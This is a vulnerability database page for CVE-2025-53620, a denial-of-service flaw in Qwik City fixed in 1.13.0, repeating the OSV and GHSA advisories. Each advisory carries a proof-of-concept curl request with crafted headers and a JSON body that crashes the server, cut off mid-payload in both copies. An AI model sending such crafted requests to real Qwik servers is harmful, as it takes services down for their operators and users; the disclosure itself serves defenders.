CVE-2025-53620
published 2025-07-09CVE-2025-53620: @builder.io/qwik-city is the meta-framework for Qwik. When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an…
PriorityP345critical9.2CVSS 4.0
AVNACLATNPRNUINVCNVINVAHSCNSINSAHEXCRXIRXARXMAVXMACXMATXMPRXMUIXMVCXMVIXMVAXMSCXMSIXMSAXSXAUXRXVXREXUX
EPSS
0.30%
22.0th percentile
@builder.io/qwik-city is the meta-framework for Qwik. When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit. This vulnerability is fixed in 1.13.0.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| builder.io | qwik-city | >= 0 < 1.13.0 | 1.13.0 |
| qwikdev | qwik | < 1.13.0 | 1.13.0 |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests
osv·2025-07-09
CVE-2025-53620 [CRITICAL] Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests
Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests
### Summary
Possibility to craft a request that will crash the Qwik Server in the default configuration.
### Details
When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.
### PoC
1. Setup a Qwik Project `pnpm create qwik@latest`
2. Start the Qwik Server using `pnpm run preview`
3. Execute the following curl command to crash the instance
```bash
curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0"
GHSA
Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests
ghsa·2025-07-09
CVE-2025-53620 [CRITICAL] CWE-248 Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests
Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests
### Summary
Possibility to craft a request that will crash the Qwik Server in the default configuration.
### Details
When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.
### PoC
1. Setup a Qwik Project `pnpm create qwik@latest`
2. Start the Qwik Server using `pnpm run preview`
3. Execute the following curl command to crash the instance
```bash
curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0"
No detection rules found.
No public exploits indexed.
No writeups or analysis indexed.
2025-07-09
Published